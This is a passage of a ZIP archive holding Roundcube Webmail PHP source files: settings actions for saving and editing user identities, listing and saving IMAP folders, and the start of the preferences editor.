        if ($IDENTITIES_LEVEL > 1) {
            $save_data['standard'] = 1;
        }

        // unset email address if user has no rights to change it
        if ($IDENTITIES_LEVEL == 1 || $IDENTITIES_LEVEL == 3) {
            unset($save_data['email']);
        }
        // unset all fields except signature
        else if ($IDENTITIES_LEVEL == 4) {
            foreach ($save_data as $idx => $value) {
                if ($idx != 'signature' && $idx != 'html_signature') {
                    unset($save_data[$idx]);
                }
            }
        }

        // Validate e-mail addresses
        $email_checks = !empty($save_data['email']) ? [rcube_utils::idn_to_ascii($save_data['email'])] : [];
        foreach (['reply-to', 'bcc'] as $item) {
            if (!empty($save_data[$item])) {
                foreach (rcube_mime::decode_address_list($save_data[$item], null, false) as $rcpt) {
                    $email_checks[] = rcube_utils::idn_to_ascii($rcpt['mailto']);
                }
            }
        }

        foreach ($email_checks as $email) {
            if ($email && !rcube_utils::check_email($email)) {
                // show error message
                $rcmail->output->show_message('emailformaterror', 'error', ['email' => rcube_utils::idn_to_utf8($email)], false);
                $rcmail->overwrite_action('edit-identity');
                return;
            }
        }

        if (!empty($save_data['signature']) && !empty($save_data['html_signature'])) {
            // replace uploaded images with data URIs
            $save_data['signature'] = self::attach_images($save_data['signature'], 'identity');

            // XSS protection in HTML signature (#1489251)
            $save_data['signature'] = self::wash_html($save_data['signature']);

            // clear POST data of signature, we want to use safe content
            // when the form is displayed again
            unset($_POST['_signature']);
        }

        // update an existing identity
        if (!empty($_POST['_iid'])) {
            $iid = rcube_utils::get_input_string('_iid', rcube_utils::INPUT_POST);

            if (in_array($IDENTITIES_LEVEL, [1, 3, 4])) {
                // merge with old identity data, fixes #1488834
                $identity  = $rcmail->user->get_identity($iid);
                $save_data = array_merge($identity, $save_data);

                unset($save_data['changed'], $save_data['del'], $save_data['user_id'], $save_data['identity_id']);
            }

            $plugin = $rcmail->plugins->exec_hook('identity_update', ['id' => $iid, 'record' => $save_data]);
            $save_data = $plugin['record'];

            if ($save_data['email']) {
                $save_data['email'] = rcube_utils::idn_to_ascii($save_data['email']);
            }

            if (!$plugin['abort']) {
                $updated = $rcmail->user->update_identity($iid, $save_data);
            }
            else {
                $updated = $plugin['result'];
            }

            if ($updated) {
                $rcmail->output->show_message('successfullysaved', 'confirmation');

                if (!empty($save_data['standard'])) {
                    $default_id = $iid;
                }

                // update the changed col in list
                $name = $save_data['name'] . ' <' . rcube_utils::idn_to_utf8($save_data['email']) .'>';
                $rcmail->output->command('parent.update_identity_row', $iid, rcube::Q(trim($name)));
            }
            else {
                // show error message
                $error = !empty($plugin['message']) ? $plugin['message'] : 'errorsaving';
                $rcmail->output->show_message($error, 'error', null, false);
                $rcmail->overwrite_action('edit-identity');
                return;
            }
        }
        // insert a new identity record
        else if ($IDENTITIES_LEVEL < 2) {
            if ($IDENTITIES_LEVEL == 1) {
                $save_data['email'] = $rcmail->get_user_email();
            }

            $plugin = $rcmail->plugins->exec_hook('identity_create', ['record' => $save_data]);
            $save_data = $plugin['record'];

            if ($save_data['email']) {
                $save_data['email'] = rcube_utils::idn_to_ascii($save_data['email']);
            }

            if (!$plugin['abort']) {
                $insert_id = $save_data['email'] ? $rcmail->user->insert_identity($save_data) : null;
            }
            else {
                $insert_id = $plugin['result'];
            }

            if ($insert_id) {
                $rcmail->plugins->exec_hook('identity_create_after', ['id' => $insert_id, 'record' => $save_data]);

                $rcmail->output->show_message('successfullysaved', 'confirmation', null, false);

                $_GET['_iid'] = $insert_id;

                if (!empty($save_data['standard'])) {
                    $default_id = $insert_id;
                }

                // add a new row to the list
                $name = $save_data['name'] . ' <' . rcube_utils::idn_to_utf8($save_data['email']) .'>';
                $rcmail->output->command('parent.update_identity_row', $insert_id, rcube::Q(trim($name)), true);
            }
            else {
                // show error message
                $error = !empty($plugin['message']) ? $plugin['message'] : 'errorsaving';
                $rcmail->output->show_message($error, 'error', null, false);
                $rcmail->overwrite_action('edit-identity');
                return;
            }
        }
        else {
            $rcmail->output->show_message('opnotpermitted', 'error');
        }

        // mark all other identities as 'not-default'
        if (!empty($default_id)) {
            $rcmail->user->set_default($default_id);
        }

        // go to next step
        $rcmail->overwrite_action('edit-identity');
    }
}
PK
h�\�U��=�=$program/actions/settings/folders.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Provide functionality of folders listing                            |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_settings_folders extends rcmail_action_settings_index
{
    protected static $mode = self::MODE_HTTP;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail  = rcmail::get_instance();
        $storage = $rcmail->get_storage();

        $rcmail->output->set_pagetitle($rcmail->gettext('folders'));
        $rcmail->output->set_env('prefix_ns', $storage->get_namespace('prefix'));
        $rcmail->output->set_env('quota', (bool) $storage->get_capability('QUOTA'));
        $rcmail->output->include_script('treelist.js');

        // add some labels to client
        $rcmail->output->add_label('deletefolderconfirm', 'purgefolderconfirm', 'movefolderconfirm',
            'folderdeleting', 'foldermoving', 'foldersubscribing', 'folderunsubscribing',
            'move', 'quota');

        // register UI objects
        $rcmail->output->add_handlers([
                'foldersubscription' => [$this, 'folder_subscriptions'],
                'folderfilter'       => [$this, 'folder_filter'],
                'quotadisplay'       => [$rcmail, 'quota_display'],
                'searchform'         => [$rcmail->output, 'search_form'],
        ]);

        $rcmail->output->send('folders');
    }

    // build table with all folders listed by server
    public static function folder_subscriptions($attrib)
    {
        $rcmail  = rcmail::get_instance();
        $storage = $rcmail->get_storage();

        if (empty($attrib['id'])) {
            $attrib['id'] = 'rcmSubscriptionlist';
        }

        // get folders from server
        $storage->clear_cache('mailboxes', true);

        $a_unsubscribed  = $storage->list_folders();
        $a_subscribed    = $storage->list_folders_subscribed('', '*', null, null, true); // unsorted
        $delimiter       = $storage->get_hierarchy_delimiter();
        $namespace       = $storage->get_namespace();
        $special_folders = array_flip(array_merge(['inbox' => 'INBOX'], $storage->get_special_folders()));
        $protect_default = $rcmail->config->get('protect_default_folders');
        $seen            = [];
        $list_folders    = [];

        // pre-process folders list
        foreach ($a_unsubscribed as $i => $folder) {
            $folder_id     = $folder;
            $folder        = $storage->mod_folder($folder);
            $foldersplit   = explode($delimiter, $folder);
            $name          = rcube_charset::convert(array_pop($foldersplit), 'UTF7-IMAP');
            $is_special    = isset($special_folders[$folder_id]);
            $parent_folder = $is_special ? '' : join($delimiter, $foldersplit);
            $level         = $is_special ? 0 : count($foldersplit);

            // add any necessary "virtual" parent folders
            if ($parent_folder && empty($seen[$parent_folder])) {
                for ($i = 1; $i <= $level; $i++) {
                    $ancestor_folder = join($delimiter, array_slice($foldersplit, 0, $i));
                    if ($ancestor_folder) {
                        if (empty($seen[$ancestor_folder])) {
                            $seen[$ancestor_folder] = true;
                            $ancestor_name = rcube_charset::convert($foldersplit[$i-1], 'UTF7-IMAP');
                            $list_folders[] = [
                                'id'      => $ancestor_folder,
                                'name'    => $ancestor_name,
                                'level'   => $i-1,
                                'virtual' => true,
                            ];
                        }
                    }
                }
            }

            // Handle properly INBOX.INBOX situation
            if (isset($seen[$folder])) {
                continue;
            }

            $seen[$folder] = true;

            $list_folders[] = [
                'id'    => $folder_id,
                'name'  => $name,
                'level' => $level,
            ];
        }

        unset($seen);

        $checkbox_subscribe = new html_checkbox([
                'name'    => '_subscribed[]',
                'title'   => $rcmail->gettext('changesubscription'),
                'onclick' => rcmail_output::JS_OBJECT_NAME.".command(this.checked?'subscribe':'unsubscribe',this.value)",
        ]);

        $js_folders = [];
        $folders    = [];
        $collapsed  = (string) $rcmail->config->get('collapsed_folders');

        // create list of available folders
        foreach ($list_folders as $i => $folder) {
            $sub_key       = array_search($folder['id'], $a_subscribed);
            $is_subscribed = $sub_key !== false;
            $is_special    = isset($special_folders[$folder['id']]);
            $is_protected  = $folder['id'] == 'INBOX' || ($protect_default && $is_special);
            $noselect      = false;
            $classes       = [];

            $folder_utf8    = rcube_charset::convert($folder['id'], 'UTF7-IMAP');
            $display_folder = rcube::Q($is_special ? self::localize_foldername($folder['id'], false, true) : $folder['name']);

            if (!empty($folder['virtual'])) {
                $classes[] = 'virtual';
            }

            // Check \Noselect flag (of existing folder)
            if (!$is_protected && in_array($folder['id'], $a_unsubscribed)) {
                $attrs = $storage->folder_attributes($folder['id']);
                $noselect = in_array_nocase('\\Noselect', $attrs);
            }

            $is_disabled = (($is_protected && $is_subscribed) || $noselect);

            // Below we will disable subscription option for "virtual" folders
            // according to namespaces, but only if they aren't already subscribed.
            // User should be able to unsubscribe from the folder
            // even if it doesn't exists or is not accessible (OTRS:1000059)
            if (!$is_subscribed && !$is_disabled && !empty($namespace) && !empty($folder['virtual'])) {
                // check if the folder is a namespace prefix, then disable subscription option on it
                if (!$is_disabled && $folder['level'] == 0) {
                    $fname = $folder['id'] . $delimiter;
                    foreach ($namespace as $ns) {
                        if (is_array($ns)) {
                            foreach ($ns as $item) {
                                if ($item[0] === $fname) {
                                    $is_disabled = true;
                                    break 2;
                                }
                            }
                        }
                    }
                }
                // check if the folder is an other users virtual-root folder, then disable subscription option on it
                if (!$is_disabled && $folder['level'] == 1 && !empty($namespace['other'])) {
                    $parts = explode($delimiter, $folder['id']);
                    $fname = $parts[0] . $delimiter;
                    foreach ($namespace['other'] as $item) {
                        if ($item[0] === $fname) {
                            $is_disabled = true;
                            break;
                        }
                    }
                }
                // check if the folder is shared, then disable subscription option on it (if not subscribed already)
                if (!$is_disabled) {
                    $tmp_ns = array_merge((array)$namespace['other'], (array)$namespace['shared']);
                    foreach ($tmp_ns as $item) {
                        if (strlen($item[0]) && strpos($folder['id'], $item[0]) === 0) {
                            $is_disabled = true;
                            break;
                        }
                    }
                }
            }

            $is_collapsed = strpos($collapsed, '&'.rawurlencode($folder['id']).'&') !== false;
            $folder_id    = rcube_utils::html_identifier($folder['id'], true);

            if ($folder_class = self::folder_classname($folder['id'])) {
                $classes[] = $folder_class;
            }

            $folders[$folder['id']] = [
                'idx'         => $folder_id,
                'folder_imap' => $folder['id'],
                'folder'      => $folder_utf8,
                'display'     => $display_folder,
                'protected'   => $is_protected || !empty($folder['virtual']),
                'class'       => join(' ', $classes),
                'subscribed'  => $is_subscribed,
                'level'       => $folder['level'],
                'collapsed'   => $is_collapsed,
                'content'     => html::a(['href' => '#'], $display_folder)
                    . $checkbox_subscribe->show(($is_subscribed ? $folder['id'] : ''),
                        ['value' => $folder['id'], 'disabled' => $is_disabled ? 'disabled' : ''])
            ];
        }

        $plugin = $rcmail->plugins->exec_hook('folders_list', ['list' => $folders]);

        // add drop-target representing 'root'
        $root = [
            'idx'         => rcube_utils::html_identifier('*', true),
            'folder_imap' => '*',
            'folder'      => '',
            'display'     => '',
            'protected'   => true,
            'class'       => 'root',
            'content'     => '<span>&nbsp;</span>',
        ];

        $folders        = [];
        $plugin['list'] = array_values($plugin['list']);

        array_unshift($plugin['list'], $root);

        for ($i = 0, $length = count($plugin['list']); $i<$length; $i++) {
            $folders[] = self::folder_tree_element($plugin['list'], $i, $js_folders);
        }

        $rcmail->output->add_gui_object('subscriptionlist', $attrib['id']);
        $rcmail->output->set_env('subscriptionrows', $js_folders);
        $rcmail->output->set_env('defaultfolders', array_keys($special_folders));
        $rcmail->output->set_env('collapsed_folders', $collapsed);
        $rcmail->output->set_env('delimiter', $delimiter);

        return html::tag('ul', $attrib, implode('', $folders), html::$common_attrib);
    }

    public static function folder_tree_element($folders, &$key, &$js_folders)
    {
        $data = $folders[$key];
        $idx  = 'rcmli' . $data['idx'];

        $js_folders[$data['folder_imap']] = [$data['folder'], $data['display'], $data['protected']];
        $content          = $data['content'];
        $attribs          = [
            'id'    => $idx,
            'class' => trim($data['class'] . ' mailbox')
        ];

        if (!isset($data['level'])) {
            $data['level'] = 0;
        }

        $children = [];
        while (!empty($folders[$key+1]) && ($folders[$key+1]['level'] > $data['level'])) {
            $key++;
            $children[] = self::folder_tree_element($folders, $key, $js_folders);
        }

        if (!empty($children)) {
            $content .= html::div('treetoggle ' . (!empty($data['collapsed']) ? 'collapsed' : 'expanded'), '&nbsp;')
                . html::tag('ul', ['style' => !empty($data['collapsed']) ? "display:none" : null],
                    implode("\n", $children));
        }

        return html::tag('li', $attribs, $content);
    }

    public static function folder_filter($attrib)
    {
        $rcmail    = rcmail::get_instance();
        $storage   = $rcmail->get_storage();
        $namespace = $storage->get_namespace();

        if (empty($namespace['personal']) && empty($namespace['shared']) && empty($namespace['other'])) {
            return '';
        }

        if (empty($attrib['id'])) {
            $attrib['id'] = 'rcmfolderfilter';
        }

        if (!self::get_bool_attr($attrib, 'noevent')) {
            $attrib['onchange'] = rcmail_output::JS_OBJECT_NAME . '.folder_filter(this.value)';
        }

        $roots  = [];
        $select = new html_select($attrib);
        $select->add($rcmail->gettext('all'), '---');

        foreach (array_keys($namespace) as $type) {
            foreach ((array)$namespace[$type] as $ns) {
                $root  = rtrim($ns[0], $ns[1]);
                $label = $rcmail->gettext('namespace.' . $type);

                if (count($namespace[$type]) > 1) {
                    $label .= ' (' . rcube_charset::convert($root, 'UTF7-IMAP', RCUBE_CHARSET) . ')';
                }

                $select->add($label, $root);

                if (strlen($root)) {
                    $roots[] = $root;
                }
            }
        }

        $rcmail->output->add_gui_object('foldersfilter', $attrib['id']);
        $rcmail->output->set_env('ns_roots', $roots);

        return $select->show();
    }

    public static function folder_options($mailbox)
    {
        $rcmail  = rcmail::get_instance();
        $options = $rcmail->get_storage()->folder_info($mailbox);
        $options['protected'] = !empty($options['is_root'])
            || strtoupper($mailbox) === 'INBOX'
            || (!empty($options['special']) && $rcmail->config->get('protect_default_folders'));

        return $options;
    }

    /**
     * Updates (or creates) folder row in the subscriptions table
     *
     * @param string $name       Folder name
     * @param string $oldname    Old folder name (for update)
     * @param bool   $subscribe  Checks subscription checkbox
     * @param string $class_name CSS class name for folder row
     */
    public static function update_folder_row($name, $oldname = null, $subscribe = false, $class_name = null)
    {
        $rcmail      = rcmail::get_instance();
        $storage     = $rcmail->get_storage();
        $delimiter   = $storage->get_hierarchy_delimiter();
        $options     = self::folder_options($name);
        $name_utf8   = rcube_charset::convert($name, 'UTF7-IMAP');
        $foldersplit = explode($delimiter, $storage->mod_folder($name));
        $level       = count($foldersplit) - 1;
        $class_name  = trim($class_name . ' mailbox');

        if (!empty($options['protected'])) {
            $display_name = self::localize_foldername($name);
        }
        else {
            $display_name = rcube_charset::convert($foldersplit[$level], 'UTF7-IMAP');
        }

        $protected = !empty($options['protected']) || !empty($options['noselect']);

        if ($oldname === null) {
            $rcmail->output->command('add_folder_row', $name, $name_utf8, $display_name,
                $protected, $subscribe, $class_name);
        }
        else {
            $rcmail->output->command('replace_folder_row', $oldname, $name, $name_utf8, $display_name,
                $protected, $class_name);
        }
    }
}
PK
h�\���&�&(program/actions/settings/folder_save.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Handler for saving the create/edit folder form                      |
 +-----------------------------------------------------------------------+
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_settings_folder_save extends rcmail_action_settings_folder_edit
{
    protected static $mode = self::MODE_HTTP;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        // WARNING: folder names in UI are encoded with RCUBE_CHARSET

        $name      = trim(rcube_utils::get_input_string('_name', rcube_utils::INPUT_POST, true));
        $path      = rcube_utils::get_input_string('_parent', rcube_utils::INPUT_POST, true);
        $old_imap  = rcube_utils::get_input_string('_mbox', rcube_utils::INPUT_POST, true);
        $type      = rcube_utils::get_input_string('_type', rcube_utils::INPUT_POST);
        $name_imap = rcube_charset::convert($name, RCUBE_CHARSET, 'UTF7-IMAP');
        // $path is in UTF7-IMAP already

        // init IMAP connection
        $rcmail    = rcmail::get_instance();
        $storage   = $rcmail->get_storage();
        $delimiter = $storage->get_hierarchy_delimiter();
        $options   = strlen($old_imap) ? self::folder_options($old_imap) : [];
        $char      = null;

        // Folder name checks
        if (!empty($options['protected']) || !empty($options['norename'])) {
            // do nothing
        }
        else if (!strlen($name)) {
            $error = $rcmail->gettext('namecannotbeempty');
        }
        else if (mb_strlen($name) > 128) {
            $error = $rcmail->gettext('nametoolong');
        }
        else if ($name[0] == '.' && $rcmail->config->get('imap_skip_hidden_folders')) {
            $error = $rcmail->gettext('namedotforbidden');
        }
        else if (!$storage->folder_validate($name, $char)) {
            $error = $rcmail->gettext('forbiddencharacter') . " ($char)";
        }

        if (!empty($error)) {
            $rcmail->output->command('display_message', $error, 'error');
        }
        else {
            if (!empty($options['protected']) || !empty($options['norename'])) {
                $name_imap = $old_imap;
            }
            else if (strlen($path)) {
                $name_imap = $path . $delimiter . $name_imap;
            }
            else {
                $name_imap = $storage->mod_folder($name_imap, 'in');
            }
        }

        $dual_use_supported = $storage->get_capability(rcube_storage::DUAL_USE_FOLDERS);
        $acl_supported      = $storage->get_capability('ACL');

        // Check access rights to the parent folder
        if (empty($error) && $acl_supported && strlen($path) && (!strlen($old_imap) || $old_imap != $name_imap)) {
            $parent_opts = $storage->folder_info($path);
            if ($parent_opts['namespace'] != 'personal'
                && (empty($parent_opts['rights']) || !preg_match('/[ck]/', implode($parent_opts['rights'])))
            ) {
                $error = $rcmail->gettext('parentnotwritable');
            }
        }

        if (!empty($error)) {
            $rcmail->output->command('display_message', $error, 'error');
            $folder = null;
        }
        else {
            $folder = [
                'name'     => $name_imap,
                'oldname'  => $old_imap,
                'class'    => '',
                'options'  => $options,
                'settings' => [
                    // List view mode: 0-list, 1-threads
                    'view_mode'   => (int) rcube_utils::get_input_string('_viewmode', rcube_utils::INPUT_POST),
                    'sort_column' => rcube_utils::get_input_string('_sortcol', rcube_utils::INPUT_POST),
                    'sort_order'  => rcube_utils::get_input_string('_sortord', rcube_utils::INPUT_POST),
                ],
                'subscribe' => false,
                'noselect'  => false,
            ];
        }

        // create a new mailbox
        if (empty($error) && !strlen($old_imap)) {
            $folder['subscribe'] = true;

            // Server does not support both sub-folders and messages in a folder
            // For folders that are supposed to contain other folders we will:
            //    - disable subscription
            //    - add a separator at the end to make them \NoSelect
            if (!$dual_use_supported && $type == 'folder') {
                $folder['subscribe'] = false;
                $folder['noselect']  = true;
            }

            $plugin = $rcmail->plugins->exec_hook('folder_create', ['record' => $folder]);

            $folder = $plugin['record'];

            if (!$plugin['abort']) {
                $created = $storage->create_folder($folder['name'], $folder['subscribe'], null, $folder['noselect']);
            }
            else {
                $created = $plugin['result'];
            }

            if ($created) {
                // Save folder settings
                if (isset($_POST['_viewmode'])) {
                    $a_threaded = (array) $rcmail->config->get('message_threading', []);

                    $a_threaded[$folder['name']] = (bool) $_POST['_viewmode'];

                    $rcmail->user->save_prefs(['message_threading' => $a_threaded]);
                }

                self::update_folder_row($folder['name'], null, $folder['subscribe'], $folder['class']);

                $rcmail->output->show_message('foldercreated', 'confirmation');
                // reset folder preview frame
                $rcmail->output->command('subscription_select');
                $rcmail->output->send('iframe');
            }
            else {
                // show error message
                if (!empty($plugin['message'])) {
                    $rcmail->output->show_message($plugin['message'], 'error', null, false);
                }
                else {
                    self::display_server_error('errorsaving');
                }
            }
        }
        // update a mailbox
        else if (empty($error)) {
            $plugin = $rcmail->plugins->exec_hook('folder_update', ['record' => $folder]);

            $folder = $plugin['record'];
            $rename = $folder['oldname'] != $folder['name'];

            if (!$plugin['abort']) {
                if ($rename) {
                    $updated = $storage->rename_folder($folder['oldname'], $folder['name']);
                }
                else {
                    $updated = true;
                }
            }
            else {
                $updated = $plugin['result'];
            }

            if ($updated) {
                // Update folder settings,
                if (isset($_POST['_viewmode'])) {
                    $a_threaded = (array) $rcmail->config->get('message_threading', []);

                    // In case of name change update names of children in settings
                    if ($rename) {
                        $oldprefix  = '/^' . preg_quote($folder['oldname'] . $delimiter, '/') . '/';
                        foreach ($a_threaded as $key => $val) {
                            if ($key == $folder['oldname']) {
                                unset($a_threaded[$key]);
                            }
                            else if (preg_match($oldprefix, $key)) {
                                unset($a_threaded[$key]);
                                $a_threaded[preg_replace($oldprefix, $folder['name'].$delimiter, $key)] = $val;
                            }
                        }
                    }

                    $a_threaded[$folder['name']] = (bool) $_POST['_viewmode'];

                    $rcmail->user->save_prefs(['message_threading' => $a_threaded]);
                }

                $rcmail->output->show_message('folderupdated', 'confirmation');
                $rcmail->output->set_env('folder', $folder['name']);

                if ($rename) {
                    // #1488692: update session
                    if (isset($_SESSION['mbox']) && $_SESSION['mbox'] === $folder['oldname']) {
                        $_SESSION['mbox'] = $folder['name'];
                    }
                    self::update_folder_row($folder['name'], $folder['oldname'], $folder['subscribe'], $folder['class']);
                    $rcmail->output->send('iframe');
                }
                else if (!empty($folder['class'])) {
                    self::update_folder_row($folder['name'], $folder['oldname'], $folder['subscribe'], $folder['class']);
                }
            }
            else {
                // show error message
                if (!empty($plugin['message'])) {
                    $rcmail->output->show_message($plugin['message'], 'error', null, false);
                }
                else {
                    self::display_server_error('errorsaving');
                }
            }
        }

        $rcmail->overwrite_action('edit-folder');
    }
}
PK
h�\(e�c&c&*program/actions/settings/identity_edit.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Show edit form for an identity record                               |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_settings_identity_edit extends rcmail_action
{
    protected static $mode = self::MODE_HTTP;
    protected static $record;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail = rcmail::get_instance();

        $IDENTITIES_LEVEL = intval($rcmail->config->get('identities_level', 0));

        // edit-identity
        if ($rcmail->action == 'edit-identity'
            && ($id = rcube_utils::get_input_string('_iid', rcube_utils::INPUT_GPC))
        ) {
            self::$record = $rcmail->user->get_identity($id);

            if (!is_array(self::$record)) {
                $rcmail->output->show_message('dberror', 'error');
                $rcmail->output->send('iframe');
            }

            $rcmail->output->set_env('iid', self::$record['identity_id']);
            $rcmail->output->set_env('mailvelope_main_keyring', $rcmail->config->get('mailvelope_main_keyring'));
            $rcmail->output->set_env('mailvelope_keysize', $rcmail->config->get('mailvelope_keysize'));
        }
        // add-identity
        else {
            if ($IDENTITIES_LEVEL > 1) {
                $rcmail->output->show_message('opnotpermitted', 'error');
                // go to identities page
                $rcmail->overwrite_action('identities');
                return;
            }

            if ($IDENTITIES_LEVEL == 1) {
                self::$record['email'] = $rcmail->get_user_email();
            }
        }

        $rcmail->output->add_handler('identityform', [$this, 'identity_form']);
        $rcmail->output->set_env('identities_level', $IDENTITIES_LEVEL);
        $rcmail->output->add_label('deleteidentityconfirm', 'generate',
            'encryptioncreatekey', 'openmailvelopesettings', 'encryptionprivkeysinmailvelope',
            'encryptionnoprivkeysinmailvelope', 'keypaircreatesuccess');

        $rcmail->output->set_pagetitle($rcmail->gettext(($rcmail->action == 'add-identity' ? 'addidentity' : 'editidentity')));

        if ($rcmail->action == 'add-identity' && $rcmail->output->template_exists('identityadd')) {
            $rcmail->output->send('identityadd');
        }

        $rcmail->output->send('identityedit');
    }

    public static function identity_form($attrib)
    {
        $rcmail = rcmail::get_instance();

        $IDENTITIES_LEVEL = intval($rcmail->config->get('identities_level', 0));

        // Add HTML editor script(s)
        self::html_editor('identity', 'rcmfd_signature');

        // add some labels to client
        $rcmail->output->add_label('noemailwarning', 'converting', 'editorwarning');

        $i_size = !empty($attrib['size']) ? $attrib['size'] : 40;
        $t_rows = !empty($attrib['textarearows']) ? $attrib['textarearows'] : 6;
        $t_cols = !empty($attrib['textareacols']) ? $attrib['textareacols'] : 40;

        // list of available cols
        $form = [
            'addressing' => [
                'name'    => $rcmail->gettext('settings'),
                'content' => [
                    'name'         => ['type' => 'text', 'size' => $i_size],
                    'email'        => ['type' => 'text', 'size' => $i_size],
                    'organization' => ['type' => 'text', 'size' => $i_size],
                    'reply-to'     => ['type' => 'text', 'size' => $i_size],
                    'bcc'          => ['type' => 'text', 'size' => $i_size],
                    'standard'     => ['type' => 'checkbox', 'label' => $rcmail->gettext('setdefault')],
                ]
            ],
            'signature' => [
                'name'    => $rcmail->gettext('signature'),
                'content' => [
                    'signature'      => [
                        'type'       => 'textarea',
                        'size'       => $t_cols,
                        'rows'       => $t_rows,
                        'spellcheck' => true,
                        'data-html-editor' => true
                    ],
                    'html_signature' => [
                        'type' => 'checkbox',
                        'label'   => $rcmail->gettext('htmlsignature'),
                        'onclick' => "return rcmail.command('toggle-editor', {id: 'rcmfd_signature', html: this.checked}, '', event)"
                    ],
                ]
            ],
            'encryption' => [
                'name'    => $rcmail->gettext('identityencryption'),
                'attrs'   => ['class' => 'identity-encryption', 'style' => 'display:none'],
                'content' => html::div('identity-encryption-block', '')
            ]
        ];

        // Enable TinyMCE editor
        if (!empty(self::$record['html_signature'])) {
            $form['signature']['content']['signature']['class']      = 'mce_editor';
            $form['signature']['content']['signature']['is_escaped'] = true;

            // Correctly handle HTML entities in HTML editor (#1488483)
            self::$record['signature'] = htmlspecialchars(self::$record['signature'], ENT_NOQUOTES, RCUBE_CHARSET);
        }

        // hide "default" checkbox if only one identity is allowed
        if ($IDENTITIES_LEVEL > 1) {
            unset($form['addressing']['content']['standard']);
        }

        // disable some field according to access level
        if ($IDENTITIES_LEVEL == 1 || $IDENTITIES_LEVEL == 3) {
            $form['addressing']['content']['email']['disabled'] = true;
            $form['addressing']['content']['email']['class']    = 'disabled';
        }

        if ($IDENTITIES_LEVEL == 4) {
            foreach ($form['addressing']['content'] as $formfield => $value){
                $form['addressing']['content'][$formfield]['disabled'] = true;
                $form['addressing']['content'][$formfield]['class']    = 'disabled';
            }
        }

        if (!empty(self::$record['email'])) {
            self::$record['email'] = rcube_utils::idn_to_utf8(self::$record['email']);
        }

        // Allow plugins to modify identity form content
        $plugin = $rcmail->plugins->exec_hook('identity_form', [
                'form'   => $form,
                'record' => self::$record
        ]);

        $form = $plugin['form'];
        self::$record = $plugin['record'];

        // Set form tags and hidden fields
        list($form_start, $form_end) = self::get_form_tags($attrib, 'save-identity',
            intval(self::$record['identity_id'] ?? 0),
            ['name' => '_iid', 'value' => self::$record['identity_id'] ?? 0]
        );

        unset($plugin);
        unset($attrib['form'], $attrib['id']);

        // return the complete edit form as table
        $out = "$form_start\n";

        foreach ($form as $fieldset) {
            if (empty($fieldset['content'])) {
                continue;
            }

            $content = '';
            if (is_array($fieldset['content'])) {
                $table = new html_table(['cols' => 2]);

                foreach ($fieldset['content'] as $col => $colprop) {
                    $colprop['id'] = 'rcmfd_'.$col;

                    if (!empty($colprop['label'])) {
                        $label = $colprop['label'];
                    }
                    else {
                        $label = $rcmail->gettext(str_replace('-', '', $col));
                    }

                    if (!empty($colprop['value'])) {
                        $value = $colprop['value'];
                    }
                    else {
                        $val   = self::$record[$col] ?? '';
                        $value = rcube_output::get_edit_field($col, $val, $colprop, $colprop['type']);
                    }

                    $table->add('title', html::label($colprop['id'], rcube::Q($label)));
                    $table->add(null, $value);
                }

                $content = $table->show($attrib);
            }
            else {
                $content = $fieldset['content'];
            }

            $content = html::tag('legend', null, rcube::Q($fieldset['name'])) . $content;
            $out .= html::tag('fieldset', !empty($fieldset['attrs']) ? $fieldset['attrs'] : [], $content) . "\n";
        }

        $out .= $form_end;

        // add image upload form
        $max_size = self::upload_init($rcmail->config->get('identity_image_size', 64) * 1024);
        $form_id  = 'identityImageUpload';

        $out .= '<form id="' . $form_id . '" style="display: none">'
            . html::div('hint', $rcmail->gettext(['name' => 'maxuploadsize', 'vars' => ['size' => $max_size]]))
            . '</form>';

        $rcmail->output->add_gui_object('uploadform', $form_id);

        return $out;
    }
}
PK
h�\P��vv'program/actions/settings/prefs_edit.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Provide functionality for user's settings & preferences             |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_settings_prefs_edit extends rcmail_action_settings_index
{
    protected static $mode = self::MODE_HTTP;
    protected static $section;
    protected static $sections;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail = rcmail::get_instance();

        $rcmail->output->set_pagetitle($rcmail->gettext('preferences'));

        self::$section = rcube_utils::get_input_string('_section', rcube_utils::INPUT_GPC);
        list(self::$sections,) = self::user_prefs(self::$section);

        // register UI objects
        $rcmail->output->add_handlers([
